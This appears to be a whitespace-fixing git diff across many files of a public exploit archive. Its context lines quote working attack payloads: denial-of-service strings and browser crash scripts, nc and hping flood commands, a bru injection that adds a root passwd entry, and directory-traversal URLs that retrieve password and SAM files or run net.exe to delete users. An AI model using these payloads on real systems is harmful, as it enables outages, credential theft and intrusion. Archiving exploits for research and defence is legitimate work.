Fully Update <br>Note : If the browser alert for print choose cancel <br> <br>Author : b3hz4d (Seyed Behzad Shaghasemi) <br>Site : Www.DeltaHacking.Net <br>Date : 3 Mar 2009 <br>Contact: behzad_sh_66@yahoo.com <br>Special Thanks To : Str0ke, Dr.trojan, Cru3l.b0y, PLATEN, Bl4ck.Viper, Irsdl And all Iranian hackers </p1><br><br> <form> <input type="button" value="bo0o0o0om" onClick="window.print(window.print())" /> </form> </BODY></HTML> \ No newline at end of file diff --git a/platforms/multiple/dos/32949.txt b/platforms/multiple/dos/32949.txt index 330b2be12..5380b1aea 100755 --- a/platforms/multiple/dos/32949.txt +++ b/platforms/multiple/dos/32949.txt @@ -6,4 +6,4 @@ Exploiting this issue allows remote attackers to crash the application, denying alias aspam "admin;admin;admin;admin;admin;admin;admin;timeleft;timeleft;timeleft" alias bspam "aspam;aspam;aspam;aspam;aspam" -bind i "bspam; bspam; bspam" \ No newline at end of file +bind i "bspam; bspam; bspam" \ No newline at end of file diff --git a/platforms/multiple/dos/33037.html b/platforms/multiple/dos/33037.html index ba9d1753c..9ead7d67a 100755 --- a/platforms/multiple/dos/33037.html +++ b/platforms/multiple/dos/33037.html @@ -8,4 +8,4 @@ Successful exploits may allow the attacker to crash the affected application, de <html> <video src=%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n>Video</video> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/multiple/dos/33058.txt b/platforms/multiple/dos/33058.txt index 29e4c7138..3cf1972b9 100755 --- a/platforms/multiple/dos/33058.txt +++ b/platforms/multiple/dos/33058.txt @@ -26,4 +26,4 @@ printf "%0.4194310f", 0x0.0x41414141; The following proof-of-concept J program is available: -cxib=0.<?php echo str_repeat("1",296450); ?> \ No newline at end of file +cxib=0.<?php echo str_repeat("1",296450); ?> \ No newline at end of file diff --git a/platforms/multiple/dos/33086.txt b/platforms/multiple/dos/33086.txt index 2a2ce495f..18e0b1057 100755 --- a/platforms/multiple/dos/33086.txt +++ b/platforms/multiple/dos/33086.txt @@ -6,4 +6,4 @@ Exploiting this issue allows remote attackers to cause the application to crash, America's Army 3.0.4 and prior versions are vulnerable. -echo blah | nc SERVER 39300 -v -v -u \ No newline at end of file +echo blah | nc SERVER 39300 -v -v -u \ No newline at end of file diff --git a/platforms/multiple/dos/33532.txt b/platforms/multiple/dos/33532.txt index 0f09694cd..382238454 100755 --- a/platforms/multiple/dos/33532.txt +++ b/platforms/multiple/dos/33532.txt @@ -13,4 +13,4 @@ s+="\x0a\x01\x00\x02\x01\x00\x02\x01\x00\x01\x01\x00\xa4\x82\x27\x2e" s+="\x04\x04\x6d\x61\x69\x6c\x30\x82\x27\x24\x80\x04\x66\x6f\x6f\x40" s+="\x81\x04\x75\x6e\x69\x76" s+="\x82"*10000 -s+="\x82\x06\x6d\x75\x6e\x69\x63\x68" \ No newline at end of file +s+="\x82\x06\x6d\x75\x6e\x69\x63\x68" \ No newline at end of file diff --git a/platforms/multiple/dos/33559.txt b/platforms/multiple/dos/33559.txt index 6ef0f07ba..501a8425e 100755 --- a/platforms/multiple/dos/33559.txt +++ b/platforms/multiple/dos/33559.txt @@ -8,4 +8,4 @@ Sun Java System Web Server 7.0 Update 6 is affected; other versions may also be The following example request is available: -" / HTTP/1.0\n\n" \ No newline at end of file +" / HTTP/1.0\n\n" \ No newline at end of file diff --git a/platforms/multiple/dos/33560.txt b/platforms/multiple/dos/33560.txt index bb8380cc4..164b6f8be 100755 --- a/platforms/multiple/dos/33560.txt +++ b/platforms/multiple/dos/33560.txt @@ -16,4 +16,4 @@ s+="Host: localhost\n" s+="Depth: 0\n" s+="Content-Length: 58\n" s+="Content-Type: application/xml\n\n" -s+="<?xml version=\"1.0\" encoding=\"utf-%n%n%n%n%n%n%n%n%n%n\"?>" \ No newline at end of file +s+="<?xml version=\"1.0\" encoding=\"utf-%n%n%n%n%n%n%n%n%n%n\"?>" \ No newline at end of file diff --git a/platforms/multiple/dos/33579.txt b/platforms/multiple/dos/33579.txt index 5b813cc71..16975844b 100755 --- a/platforms/multiple/dos/33579.txt +++ b/platforms/multiple/dos/33579.txt @@ -9,4 +9,4 @@ Ingres Database 9.3 on Unix is vulnerable; other versions may also be affected. s = "\x00\x00\x00\x00" s += "\xff\xff\xff\xff" s += "\x3c\x00\x00\x00\x06\x00\x00\x00" -s += "A" * 1000 \ No newline at end of file +s += "A" * 1000 \ No newline at end of file diff --git a/platforms/multiple/dos/33584.txt b/platforms/multiple/dos/33584.txt index 79265ef0e..bfe5fc567 100755 --- a/platforms/multiple/dos/33584.txt +++ b/platforms/multiple/dos/33584.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue to cause the application to crash, denying se IBM DB2 9.7 is vulnerable; other versions may also be affected. The following sequence of bytes can trigger this vulnerability: -"\x00\x05\x03\x31\x41" \ No newline at end of file +"\x00\x05\x03\x31\x41" \ No newline at end of file diff --git a/platforms/multiple/dos/33607.html b/platforms/multiple/dos/33607.html index 2cea9206a..cc7634050 100755 --- a/platforms/multiple/dos/33607.html +++ b/platforms/multiple/dos/33607.html @@ -6,4 +6,4 @@ Successful exploits may allow an attacker to crash the affected browser, resulti The issue affects Firefox 3.6.7 and SeaMonkey 2.0.1; other versions may also be affected. -<body onload="javascript:DoS();"></body> <script> function DoS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script> \ No newline at end of file +<body onload="javascript:DoS();"></body> <script> function DoS() { var buffer = 'A'; for (i =0;i<150;i++) { buffer+=buffer+'A'; document.write('<html><marquee><h1>'+buffer+buffer); } } </script> \ No newline at end of file diff --git a/platforms/multiple/dos/33729.txt b/platforms/multiple/dos/33729.txt index 4d7ab3cf4..71f3b9202 100755 --- a/platforms/multiple/dos/33729.txt +++ b/platforms/multiple/dos/33729.txt @@ -37,4 +37,4 @@ alias35 LEFT JOIN A AS alias36 ON alias35.int_key = alias36.int_key ON alias34.int_key = alias36.int_key LEFT JOIN A AS alias37 ON alias33.int_key = alias37.int_key ON alias25.int_key = alias32.int_key LEFT JOIN A AS alias38 ON alias37.int_key = alias38.int_key ON -alias15.int_key = alias37.int_key ON alias0.int_key = alias9.int_key \ No newline at end of file +alias15.int_key = alias37.int_key ON alias0.int_key = alias9.int_key \ No newline at end of file diff --git a/platforms/multiple/dos/33800.html b/platforms/multiple/dos/33800.html index 382705df5..cdfdcc9ce 100755 --- a/platforms/multiple/dos/33800.html +++ b/platforms/multiple/dos/33800.html @@ -8,4 +8,4 @@ Firefox 3.6 for Apple Mac OS X is vulnerable. NOTE: This issue was previously covered in BID 38918 (Mozilla Firefox Thunderbird and Seamonkey MFSA 2010-09 through -15 Multiple Vulnerabilities) but has been assigned its own record to better document it. -<html> <head> <title>Testcase for bug 538065</title> <style type="text/css"> span.test { background: #ff0; } </style> </head> <body> <p>U+FEFF: <span class="test">&#xfeff;</span></p> <p>U+FFF9: <span class="test">&#xfff9;</span></p> <p>U+FFFA: <span class="test">&#xfffa;</span></p> <p>U+FFFB: <span class="test">&#xfffb;</span></p> </body> </html> \ No newline at end of file +<html> <head> <title>Testcase for bug 538065</title> <style type="text/css"> span.test { background: #ff0; } </style> </head> <body> <p>U+FEFF: <span class="test">&#xfeff;</span></p> <p>U+FFF9: <span class="test">&#xfff9;</span></p> <p>U+FFFA: <span class="test">&#xfffa;</span></p> <p>U+FFFB: <span class="test">&#xfffb;</span></p> </body> </html> \ No newline at end of file diff --git a/platforms/multiple/dos/34058.txt b/platforms/multiple/dos/34058.txt index 4a4479a64..faddc63c4 100755 --- a/platforms/multiple/dos/34058.txt +++ b/platforms/multiple/dos/34058.txt @@ -6,4 +6,4 @@ DM Database Server is prone to a remote memory-corruption vulnerability. This is An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. -CALL SP_DEL_BAK_EXPIRED('AAAAAAAAAAAAAAAAAAAA', ''); \ No newline at end of file +CALL SP_DEL_BAK_EXPIRED('AAAAAAAAAAAAAAAAAAAA', ''); \ No newline at end of file diff --git a/platforms/multiple/dos/34248.txt b/platforms/multiple/dos/34248.txt index a2df23701..3eca9ce6e 100755 --- a/platforms/multiple/dos/34248.txt +++ b/platforms/multiple/dos/34248.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to execute arbitrary code in the context of the editcp 4.1 R7 is vulnerable; other versions may also be affected. -$ perl -e '{print "A"x100}' | nc www.example.com:7777 \ No newline at end of file +$ perl -e '{print "A"x100}' | nc www.example.com:7777 \ No newline at end of file diff --git a/platforms/multiple/dos/36037.txt b/platforms/multiple/dos/36037.txt index d77807894..d105a11d9 100755 --- a/platforms/multiple/dos/36037.txt +++ b/platforms/multiple/dos/36037.txt @@ -4,4 +4,4 @@ The Adobe Flash Media Server is prone to a remote denial-of-service vulnerabilit Successful exploits will allow attackers to crash the affected application, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible; however, this has not been confirmed. -http://www.example.com:1111/?% \ No newline at end of file +http://www.example.com:1111/?% \ No newline at end of file diff --git a/platforms/multiple/dos/36234.txt b/platforms/multiple/dos/36234.txt index f3770305f..c7e0b7e25 100755 --- a/platforms/multiple/dos/36234.txt +++ b/platforms/multiple/dos/36234.txt @@ -6,4 +6,4 @@ Remote attackers can exploit these issues to execute arbitrary code in the conte G-WAN 2.10.6 is vulnerable; other versions may also be affected. -while: do echo -e "GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n\r\n' \ No newline at end of file +while: do echo -e "GET /aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n\r\n' \ No newline at end of file diff --git a/platforms/multiple/dos/36247.txt b/platforms/multiple/dos/36247.txt index 514f2f4b3..d427512ba 100755 --- a/platforms/multiple/dos/36247.txt +++ b/platforms/multiple/dos/36247.txt @@ -7,4 +7,4 @@ Exploiting this issue will exhaust system resources and cause the application to http://www.example.com/en-US/prototype/segmentation_performance?lines=999&depth=99999999&segment=foo&element=span&attribute=class&segmentation=nested http://www.example.com/en-US/prototype/segmentation_performance?lines=99999999999999999999999999999999999999&depth=99999999999999999999999999999999999999&segment=foo&element=span&attribute=class&segmentation=nested -https://localhost/en-US/debug/sso \ No newline at end of file +https://localhost/en-US/debug/sso \ No newline at end of file diff --git a/platforms/multiple/dos/36377.txt b/platforms/multiple/dos/36377.txt index 3ff4e55e7..d1c09b34c 100755 --- a/platforms/multiple/dos/36377.txt +++ b/platforms/multiple/dos/36377.txt @@ -4,4 +4,4 @@ CoDeSys is prone to multiple denial-of-service vulnerabilities. An attacker can exploit these issues to crash the application and deny service to legitimate users. -udpsz -T -c "POST / HTTP/1.0\r\nContent-Length: 4294967295\r\n\r\n" SERVER 8080 -1 \ No newline at end of file +udpsz -T -c "POST / HTTP/1.0\r\nContent-Length: 4294967295\r\n\r\n" SERVER 8080 -1 \ No newline at end of file diff --git a/platforms/multiple/dos/36378.txt b/platforms/multiple/dos/36378.txt index 717cd46f0..46074efc3 100755 --- a/platforms/multiple/dos/36378.txt +++ b/platforms/multiple/dos/36378.txt @@ -4,4 +4,4 @@ CoDeSys is prone to multiple denial-of-service vulnerabilities. An attacker can exploit these issues to crash the application and deny service to legitimate users. -udpsz -T -c "BLAH / HTTP/1.0\r\n\r\n" SERVER 8080 -1 \ No newline at end of file +udpsz -T -c "BLAH / HTTP/1.0\r\n\r\n" SERVER 8080 -1 \ No newline at end of file diff --git a/platforms/multiple/dos/36869.txt b/platforms/multiple/dos/36869.txt index 3ff7a969e..8ed7caa80 100755 --- a/platforms/multiple/dos/36869.txt +++ b/platforms/multiple/dos/36869.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to crash the affected application, denying serv IBM solidDB versions prior to 6.5.0.8 Interim Fix 6 are vulnerable. -SELECT * FROM a WHERE (b >0) AND (b IN (1,2)) \ No newline at end of file +SELECT * FROM a WHERE (b >0) AND (b IN (1,2)) \ No newline at end of file diff --git a/platforms/multiple/dos/36881.txt b/platforms/multiple/dos/36881.txt index 35ef8c04a..1a19d155a 100755 --- a/platforms/multiple/dos/36881.txt +++ b/platforms/multiple/dos/36881.txt @@ -138,4 +138,4 @@ contact us: Web www.security-assessment.com Email info () security-assessment com -Phone +64 4 470 1650 \ No newline at end of file +Phone +64 4 470 1650 \ No newline at end of file diff --git a/platforms/multiple/dos/37061.txt b/platforms/multiple/dos/37061.txt index bccb22582..9e6bfecd4 100755 --- a/platforms/multiple/dos/37061.txt +++ b/platforms/multiple/dos/37061.txt @@ -4,4 +4,4 @@ Sony Bravia is prone to a remote denial-of-service vulnerability. Successful attacks will cause the application to crash, creating a denial-of-service condition. - hping -S TV.IP.Address -p anyport -i u1 --flood \ No newline at end of file + hping -S TV.IP.Address -p anyport -i u1 --flood \ No newline at end of file diff --git a/platforms/multiple/dos/37478.txt b/platforms/multiple/dos/37478.txt index 46856eb69..f2e5617d7 100755 --- a/platforms/multiple/dos/37478.txt +++ b/platforms/multiple/dos/37478.txt @@ -6,4 +6,4 @@ Attackers can execute arbitrary code in the context of the affected application. plow 0.0.5 and prior are vulnerable. -perl -e '$x="A"x1096;print("[".$x."]\nA=B")'>plowrc \ No newline at end of file +perl -e '$x="A"x1096;print("[".$x."]\nA=B")'>plowrc \ No newline at end of file diff --git a/platforms/multiple/dos/38249.txt b/platforms/multiple/dos/38249.txt index 7da39d7ca..8f0212db9 100755 --- a/platforms/multiple/dos/38249.txt +++ b/platforms/multiple/dos/38249.txt @@ -8,4 +8,4 @@ MiniUPnP versions prior to 1.4 are vulnerable. M-SEARCH * HTTP/1.1 Host:239.255.255.250:1900 -ST:uuid:schemas:device:MX:3< no CRLF > \ No newline at end of file +ST:uuid:schemas:device:MX:3< no CRLF > \ No newline at end of file diff --git a/platforms/multiple/dos/38364.txt b/platforms/multiple/dos/38364.txt index bb88e8b36..79069e2cf 100755 --- a/platforms/multiple/dos/38364.txt +++ b/platforms/multiple/dos/38364.txt @@ -13,4 +13,4 @@ Content-Type: text/xml; charset=utf-8 Content-Length: 99999999999999999 HTTP/1.1 200 OK -Content-Length: 2147483647 \ No newline at end of file +Content-Length: 2147483647 \ No newline at end of file diff --git a/platforms/multiple/dos/38420.txt b/platforms/multiple/dos/38420.txt index 8fefa156b..30cad69a3 100755 --- a/platforms/multiple/dos/38420.txt +++ b/platforms/multiple/dos/38420.txt @@ -8,4 +8,4 @@ Chromium 25.0.1364.160 is vulnerable; other versions may also be affected. Note: The content related to Mozilla Firefox Browser has been moved to BID 62969 (Mozilla Firefox Browser Cookie Verification Denial of Service Vulnerability) for better documentation. -http://www.example.com/?utm_source=test&utm_medium=test&utm_campaign=te%05st \ No newline at end of file +http://www.example.com/?utm_source=test&utm_medium=test&utm_campaign=te%05st \ No newline at end of file diff --git a/platforms/multiple/dos/38595.txt b/platforms/multiple/dos/38595.txt index bf9b2c6b4..fbc9e5654 100755 --- a/platforms/multiple/dos/38595.txt +++ b/platforms/multiple/dos/38595.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to cause the host system's network to become un VirtualBox 4.2.12 is affected; other versions may also be vulnerable. -tracepath 8.8.8.8 \ No newline at end of file +tracepath 8.8.8.8 \ No newline at end of file diff --git a/platforms/multiple/dos/38623.html b/platforms/multiple/dos/38623.html index 6c289989f..fc64b6223 100755 --- a/platforms/multiple/dos/38623.html +++ b/platforms/multiple/dos/38623.html @@ -6,4 +6,4 @@ Successful exploits will allow attackers to consume an excessive amount of CPU r RealPlayer 16.0.2.32 and prior are vulnerable. -<html> <head> <script language="JavaScript"> { var buffer = '\x41' for(i=0; i <= 100 ; ++i) { buffer+=buffer+buffer document.write(buffer); } } </script> </head> </html> \ No newline at end of file +<html> <head> <script language="JavaScript"> { var buffer = '\x41' for(i=0; i <= 100 ; ++i) { buffer+=buffer+buffer document.write(buffer); } } </script> </head> </html> \ No newline at end of file diff --git a/platforms/multiple/dos/38798.txt b/platforms/multiple/dos/38798.txt index 092e7caad..c69f1ea2d 100755 --- a/platforms/multiple/dos/38798.txt +++ b/platforms/multiple/dos/38798.txt @@ -8,4 +8,4 @@ Firefox 19 is vulnerable; other versions may also be affected. Note: This issue was previously covered in BID 58857 (Google Chrome and Mozilla Firefox Browser Cookie Verification Security Weakness), but has been moved to its own record for better documentation. -http://www.example.com/?utm_source=test&utm_medium=test&utm_campaign=te%05st \ No newline at end of file +http://www.example.com/?utm_source=test&utm_medium=test&utm_campaign=te%05st \ No newline at end of file diff --git a/platforms/multiple/dos/8333.txt b/platforms/multiple/dos/8333.txt index 235d6048c..b47fd3f4d 100755 --- a/platforms/multiple/dos/8333.txt +++ b/platforms/multiple/dos/8333.txt @@ -1,4 +1,4 @@ -Core Security Technologies - CoreLabs Advisory + Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ diff --git a/platforms/multiple/dos/867.c b/platforms/multiple/dos/867.c index 9ea5173c6..250cb6fe0 100755 --- a/platforms/multiple/dos/867.c +++ b/platforms/multiple/dos/867.c @@ -1,4 +1,4 @@ - + /* * * Ethereal 3G-A11 remote buffer overflow PoC exploit diff --git a/platforms/multiple/dos/8794.htm b/platforms/multiple/dos/8794.htm index 4f8457cba..342464028 100755 --- a/platforms/multiple/dos/8794.htm +++ b/platforms/multiple/dos/8794.htm @@ -1,4 +1,4 @@ -From the low-hanging-fruit-department + From the low-hanging-fruit-department Firefox et al. Denial of Service - All versions supporting SVG ________________________________________________________________________ diff --git a/platforms/multiple/local/19139.py b/platforms/multiple/local/19139.py index 2d78bf169..399326109 100755 --- a/platforms/multiple/local/19139.py +++ b/platforms/multiple/local/19139.py @@ -732,4 +732,4 @@ class PDFDoc(): doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF" - return doc1 \ No newline at end of file + return doc1 \ No newline at end of file diff --git a/platforms/multiple/local/19430.txt b/platforms/multiple/local/19430.txt index b9b689efe..d7851d6e0 100755 --- a/platforms/multiple/local/19430.txt +++ b/platforms/multiple/local/19430.txt @@ -121,4 +121,4 @@ used to put the \fIstring\fP into the given \fIstream\fP .BR troff (1). .SH AUTHOR -Pawel Wilk <siewca@dione.ids.pl> \ No newline at end of file +Pawel Wilk <siewca@dione.ids.pl> \ No newline at end of file diff --git a/platforms/multiple/local/19498.sh b/platforms/multiple/local/19498.sh index 64d8e3283..144f0add5 100755 --- a/platforms/multiple/local/19498.sh +++ b/platforms/multiple/local/19498.sh @@ -125,4 +125,4 @@ if [ -f /tmp/root_was_here ]; then echo "created file /tmp/root_was_here" else echo "exploit failed..." -fi \ No newline at end of file +fi \ No newline at end of file diff --git a/platforms/multiple/local/19721.txt b/platforms/multiple/local/19721.txt index 843e850d3..d9c84b0c1 100755 --- a/platforms/multiple/local/19721.txt +++ b/platforms/multiple/local/19721.txt @@ -16,4 +16,4 @@ mysql> GRANT select ON test_expl.* TO root@localhost IDENTIFIED BY Query OK, 0 rows affected (0.01 sec) mysql> exit -Bye \ No newline at end of file +Bye \ No newline at end of file diff --git a/platforms/multiple/local/19796.c b/platforms/multiple/local/19796.c index bd5f6a1db..bd4a98339 100755 --- a/platforms/multiple/local/19796.c +++ b/platforms/multiple/local/19796.c @@ -66,4 +66,4 @@ char **argv; execl("/usr/local/sbin/mtr", "mtr", 0); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/multiple/local/19967.txt b/platforms/multiple/local/19967.txt index 3944c2db4..a8a4673c8 100755 --- a/platforms/multiple/local/19967.txt +++ b/platforms/multiple/local/19967.txt @@ -8,4 +8,4 @@ e=encrypted byte p=byte's position in the string, mod 4. u = unencrypted byte -u=e-89+((3p^2-3p)/2) \ No newline at end of file +u=e-89+((3p^2-3p)/2) \ No newline at end of file diff --git a/platforms/multiple/local/19999.txt b/platforms/multiple/local/19999.txt index 64fe5c812..a5f81f3d3 100755 --- a/platforms/multiple/local/19999.txt +++ b/platforms/multiple/local/19999.txt @@ -8,4 +8,4 @@ $ bru -V ' > comsec::0:0::/:/bin/sh > ' $ su comsec -# \ No newline at end of file +# \ No newline at end of file diff --git a/platforms/multiple/local/21078.txt b/platforms/multiple/local/21078.txt index aac1ac3c5..739e51d04 100755 --- a/platforms/multiple/local/21078.txt +++ b/platforms/multiple/local/21078.txt @@ -30,4 +30,4 @@ F0-117 85 74 89 87 8E 84 83 7A 12 17 13 0D 14 0E 15 0F 16 10 17 11 11 12 12 13 1 (the constants:) F0-117 15 13 16 14 17 15 11 16 12 17 13 0D 14 0E 15 0F 16 10 17 11 11 12 12 13 13 14 14 15 15 16 16 17 17 0D 11 0E 12 0F 13 10 70 61 73 73 77 6F 72 64 0 <- stop -p a s s w o r d \ No newline at end of file +p a s s w o r d \ No newline at end of file diff --git a/platforms/multiple/local/21283.txt b/platforms/multiple/local/21283.txt index e1e5fd3a4..d6e750e78 100755 --- a/platforms/multiple/local/21283.txt +++ b/platforms/multiple/local/21283.txt @@ -14,4 +14,4 @@ Hit enter Choose option 3, display current job Choose option 13, display library list Choose option 5 next to library QSYS -Scroll down to view names of all objects of type *USRPRF (user profile) \ No newline at end of file +Scroll down to view names of all objects of type *USRPRF (user profile) \ No newline at end of file diff --git a/platforms/multiple/local/21288.txt b/platforms/multiple/local/21288.txt index fb389f406..aff043968 100755 --- a/platforms/multiple/local/21288.txt +++ b/platforms/multiple/local/21288.txt @@ -8,4 +8,4 @@ A local attacker may exploit this condition to overwrite the AdminPassword file Reports suggest that this issue only affects versions of Sawmill running on the Solaris operating system. It has not been confirmed whether versions on other operating systems are affected by this vulnerability. -rm AdminPassword; echo mypasswd | perl -p -e 'chomp' | md5sum | sed 's/ -//' | perl -p -e 'chomp' > AdminPassword \ No newline at end of file +rm AdminPassword; echo mypasswd | perl -p -e 'chomp' | md5sum | sed 's/ -//' | perl -p -e 'chomp' > AdminPassword \ No newline at end of file diff --git a/platforms/multiple/local/32847.txt b/platforms/multiple/local/32847.txt index 96b8d7ed5..a1c22eee5 100755 --- a/platforms/multiple/local/32847.txt +++ b/platforms/multiple/local/32847.txt @@ -18,4 +18,4 @@ return true; END; $body$; -SELECT * FROM restricted_view WHERE do_tell(secret_column); \ No newline at end of file +SELECT * FROM restricted_view WHERE do_tell(secret_column); \ No newline at end of file diff --git a/platforms/multiple/remote/10001.txt b/platforms/multiple/remote/10001.txt index fbbe0b5ad..899caa563 100755 --- a/platforms/multiple/remote/10001.txt +++ b/platforms/multiple/remote/10001.txt @@ -16,4 +16,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow NOTE: This vulnerability was originally reported in BID 36956 (Apple Mac OS X 2009-006 Multiple Security Vulnerabilities), but has been given its own record to better document it. -This issue affects versions prior to CUPS 1.4.2. \ No newline at end of file +This issue affects versions prior to CUPS 1.4.2. \ No newline at end of file diff --git a/platforms/multiple/remote/12122.txt b/platforms/multiple/remote/12122.txt index 0f62efc6f..613d4d15e 100755 --- a/platforms/multiple/remote/12122.txt +++ b/platforms/multiple/remote/12122.txt @@ -123,4 +123,4 @@ Not vulnerable. Workaround -Disable javaws/javaws.exe in linux and Windows by any mean. Disable Deployment Toolkit to avoid unwanted installation as stated in Tavis' advisory. \ No newline at end of file +Disable javaws/javaws.exe in linux and Windows by any mean. Disable Deployment Toolkit to avoid unwanted installation as stated in Tavis' advisory. \ No newline at end of file diff --git a/platforms/multiple/remote/14387.html b/platforms/multiple/remote/14387.html index 85b359f1e..a3430cc02 100755 --- a/platforms/multiple/remote/14387.html +++ b/platforms/multiple/remote/14387.html @@ -42,3 +42,4 @@ onmouseover="document.location='http://www.Securitylab.ir/ClickJacking';"> + \ No newline at end of file diff --git a/platforms/multiple/remote/14388.html b/platforms/multiple/remote/14388.html index 2cc4b328c..cec3ecc20 100755 --- a/platforms/multiple/remote/14388.html +++ b/platforms/multiple/remote/14388.html @@ -1,4 +1,4 @@ -<html> + <html> <style type="text/css"> </style> <body> diff --git a/platforms/multiple/remote/18245.py b/platforms/multiple/remote/18245.py index 5c3ccd92f..4128b50ad 100755 --- a/platforms/multiple/remote/18245.py +++ b/platforms/multiple/remote/18245.py @@ -647,3 +647,4 @@ def main(): if __name__ == '__main__': main() + \ No newline at end of file diff --git a/platforms/multiple/remote/19084.txt b/platforms/multiple/remote/19084.txt index 4f5d7b663..afbb501e0 100755 --- a/platforms/multiple/remote/19084.txt +++ b/platforms/multiple/remote/19084.txt @@ -6,13 +6,13 @@ MetaInfo bundles their own in-house web server, MetaWeb server, for use with the The problem is that the MetaWeb server doesn't restrict you to the root directory. By using /../ notation, you can escape to higher levels of the file structure, and retrieve known files. -For instance, the default MetaWeb server root for Sendmail is c:\sendmail\web. A request to to http://mail.server:5000 will retrieve index.html from this directory. However, by requesting http://mail.server:5000/../../ it is possible to retrieve files from the root (c:\) file directory. Consequently, since this is an NT system, you can request files from the winnt directory by specifying http://mail.server:5000/../../winnt/ +For instance, the default MetaWeb server root for Sendmail is c:\sendmail\web. A request to to http://mail.server.com:5000 will retrieve index.html from this directory. However, by requesting http://mail.server.com:5000/../../ it is possible to retrieve files from the root (c:\) file directory. Consequently, since this is an NT system, you can request files from the winnt directory by specifying http://mail.server.com:5000/../../winnt/ MetaIP's default directory is c:\metaip\java\webui, which would require 3 levels of transversal to the root directory (/../../../), compared to Sendmail's 2 (/../../). This allows anyone to request, via a normal web browser (NOTE: only Netscape browsers are able to retrieve unathorized files, from my testing) any file known on the file system (directory browsing is not allowed, so the filename must be known). -In a Sendmail situation, the most obvious file is the password file used by the Sendmail program for POP3 access. This file is located in c:\sendmail\smusers.txt and can be retrieved via the web by http://mail.server:5000/../smusers.txt +In a Sendmail situation, the most obvious file is the password file used by the Sendmail program for POP3 access. This file is located in c:\sendmail\smusers.txt and can be retrieved via the web by http://mail.server.com:5000/../smusers.txt This file is in standard UNIX /etc/passwd format, and can have 3 types of entries: @@ -22,13 +22,13 @@ Since this file is in standard Unix format, that allows sysadmins to copy /etc/p Simpliest use for this file is to strip out all blocked (*) and NT domain (!DOMAIN) entries, and run Crack to find the passwords. -Of course, retrieval of a copy of the SAM would lead to password compromise for the NT authentication. A typical copy can be found in the /repair/ directory, and retrieved as: http://mail.server:5000/../../winnt/repair/sam._ Directly requesting the SAM or other system-wide locked files results in an in a Error 404 and an Application error is written to the Event Log. +Of course, retrieval of a copy of the SAM would lead to password compromise for the NT authentication. A typical copy can be found in the /repair/ directory, and retrieved as: http://mail.server.com:5000/../../winnt/repair/sam._ Directly requesting the SAM or other system-wide locked files results in an in a Error 404 and an Application error is written to the Event Log. The MetaWeb server allows the running of NT batch/CMD files (this is how some of the Sendmail remote configuring works); if an attacker was to upload or produce a standard NT batch file, he could run any program he wishes. It has also been proven that the MetaWeb server will allow execution of any application on the server. Execution of command line applications will have their results sent back to the browser. GUI applications will NOT be displayed on the server, but will result in the MetaWebs.exe process to spike to and maintain a 100% utilization. -To execute a command, you must append a '?' to it; otherwise, you will merely download the application. For instance: http://mail.server:5000/../../winnt/system32/net.exe would download net.exe; however, http://mail.server:5000/../../winnt/system32/net.exe? will run the net program. Command line parameters are possible, using '%20' for spaces. So http://mail.server:5000/../../winnt/system32/net.exe?user%20joe%20/delete would delete user 'joe' (however, certain commands will not work, including subsets of the 'net' command. This was just an example). +To execute a command, you must append a '?' to it; otherwise, you will merely download the application. For instance: http://mail.server.com:5000/../../winnt/system32/net.exe would download net.exe; however, http://mail.server.com:5000/../../winnt/system32/net.exe? will run the net program. Command line parameters are possible, using '%20' for spaces. So http://mail.server.com:5000/../../winnt/system32/net.exe?user%20joe%20/delete would delete user 'joe' (however, certain commands will not work, including subsets of the 'net' command. This was just an example). Even worse, by enabling remote administration of MetaIP causes the software to make an NT share with full permissions to the Everyone group. The share is hidden as MetaIPAdminData$. diff --git a/platforms/multiple/remote/19193.txt b/platforms/multiple/remote/19193.txt index 91f0a1ac3..dfcb32261 100755 --- a/platforms/multiple/remote/19193.txt +++ b/platforms/multiple/remote/19193.txt @@ -4,4 +4,4 @@ An Allaire Forums file "GetFile.cfm" in the root of the application directory al Type the URL "GetFile.cfm?FT=Text&FST=Plain&FilePath=C:\boot.ini" (without the quotes") where C:\boot.ini is the pathname and file to read. -The syntax of the request is <CFCONTENT TYPE="#FT#/#FST#" FILE="#FilePath#"> \ No newline at end of file +The syntax of the request is <CFCONTENT TYPE="#FT#/#FST#" FILE="#FilePath#"> \ No newline at end of file diff --git a/platforms/multiple/remote/19222.txt b/platforms/multiple/remote/19222.txt index cd8bf20db..6acf8c552 100755 --- a/platforms/multiple/remote/19222.txt +++ b/platforms/multiple/remote/19222.txt @@ -6,4 +6,4 @@ Gordano's NTMail is a Windows NT mail server program. One of its features is all The web server fails to check whether requested files fall outside its document tree (by using ".." in the URL). Thus attackers can retrieve files in the same drives as that on which the software resides if they know or can get it's filename. -http://www.example.com:8000/../../../../../boot.ini \ No newline at end of file +http://www.example.com:8000/../../../../../boot.ini \ No newline at end of file diff --git a/platforms/multiple/remote/19223.txt b/platforms/multiple/remote/19223.txt index 89c4dc939..59e0d29c6 100755 --- a/platforms/multiple/remote/19223.txt +++ b/platforms/multiple/remote/19223.txt @@ -6,4 +6,4 @@ Floosietek's FTGate is a Win32 mail server program. One of its features is allow The web server fails to check whether requested files fall outside its document tree (by using ".." in the URL). Thus attackers can retrieve files in the same drives as that on which the software resides if they know or can get it's filename. -http://www.example.com:8080/../newuser.txt \ No newline at end of file +http://www.example.com:8080/../newuser.txt \ No newline at end of file diff --git a/platforms/multiple/remote/19242.txt b/platforms/multiple/remote/19242.txt index 91a9755d0..d33c26935 100755 --- a/platforms/multiple/remote/19242.txt +++ b/platforms/multiple/remote/19242.txt @@ -5,4 